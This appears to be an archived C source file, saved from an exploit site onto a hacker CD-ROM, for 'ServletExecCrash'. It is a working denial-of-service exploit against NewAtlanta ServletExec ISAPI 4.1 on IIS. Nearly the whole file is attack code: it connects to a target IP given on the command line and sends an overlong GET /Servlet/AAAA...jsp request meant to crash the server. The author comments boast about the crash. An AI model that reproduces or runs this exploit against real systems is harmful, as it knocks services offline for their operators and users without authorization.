home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 5 / hacker05 / 05_HACK_05.ISO / exploits / servlet / servletexeccrash.c
Encoding:
C/C++ Source or Header  |  2002-06-26  |  3.0 KB  |  90 lines

  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  2. <!-- saved from url=(0067)http://packetstorm.decepticons.org/0206-exploits/servletexeccrash.c -->
  3. <HTML><HEAD>
  4. <META http-equiv=Content-Type content="text/html; charset=windows-1252">
  5. <META content="MSHTML 5.50.4134.600" name=GENERATOR></HEAD>
  6. <BODY><XMP>#include <stdio.h>
  7. #include <sys/types.h>
  8. #include <string.h>
  9. #include <sys/socket.h>
  10. #include <netinet/in.h>
  11. #include <arpa/inet.h>
  12. #include <stdlib.h>
  13.  
  14. /*    This is Exploit code for a vulnerability in NewAtlanta ServletExec ISAPI 4.1.
  15.       ServletExec 4.1 ISAPI is a Java Servlet/JSP Engine for Internet Information
  16.       Server and is implemented as an ISAPI filter.
  17.       Machines running this program is MS IIS server 4 and 5.
  18.       This code can simple crash the server, successfully preform a DoS attack!
  19.       It sends a string that servletExec don't like but have to eat, and 
  20.       this will make the server crash, BIG TIME =)
  21.       This file assuming the www server is on port 80 and that the servlet engine
  22.       is located in the /Servlet directory. 
  23.       Jonas "bl0wfi5h" Nyberg and Digital-Root.com is proud to present ServletExecCrash.
  24.       You can contact me at: bl0wfi5h@digital-root.com or bl0wfi5h@hotmail.com.
  25.       This was finished: 2002-05-24 @21:49 Swedish time
  26. */
  27.  
  28. void banner(void);
  29.  
  30. typedef unsigned short int USHORT;
  31. typedef unsigned long int ULONG;
  32.  
  33.  
  34.  
  35. int main(int argc, char** argv[])
  36. {
  37.   int sockfd;
  38.   struct sockaddr_in dest_addr;
  39.  
  40.   
  41.   int len, bytes_sent, select;
  42.   char* string = "GET /Servlet/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.jsp";
  43.  
  44.   if(argc < 2 || argc > 2)
  45.   {
  46.       printf("Usage: ./servletExecCrash ip\n");
  47.       printf("Assuming that its port 80, which is default for most www servers\n");
  48.       printf("If this is a case where this is not true, change the got damn source yourself!\n");
  49.       exit(1);
  50.   }
  51.   dest_addr.sin_family = AF_INET;
  52.   dest_addr.sin_port = htons(80);
  53.   inet_aton(argv[1], &(dest_addr.sin_addr));
  54.   memset(&(dest_addr.sin_zero), '\0',8);
  55.   len = strlen(string);
  56.   
  57.   if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1 ) 
  58.   {
  59.       printf("problem with your socket!");
  60.       exit(1);
  61.   }
  62.   
  63.   connect(sockfd, (struct sockaddr *)& dest_addr, sizeof(struct sockaddr));
  64.   
  65.      
  66.   bytes_sent = send(sockfd, string, len, 0);    
  67.   if(bytes_sent == -1)
  68.   {
  69.     printf("\nYou are having problem sending, the information\n");
  70.     exit(1);
  71.   }
  72.     printf("\nYou have sent: %d", bytes_sent);
  73.     printf(" bytes to: %s", argv[1]);
  74.     close(sockfd);    
  75.     banner();
  76.     return 0;
  77.  
  78. }
  79. void banner(void)
  80. {
  81.     printf("\n\n***********************************************\n");
  82.     printf("*****CODE MADE BY: JONAS [BL0wFi5h] NYBERG*******\n");
  83.     printf("*********DIGITAL-ROOT PROUDLY PRESENT*************\n");
  84.     printf("****************SERVLETEXECCRASH******************\n");
  85.     printf("**************************************************\n");
  86.     
  87.  
  88. }
  89. </XMP></BODY></HTML>
  90.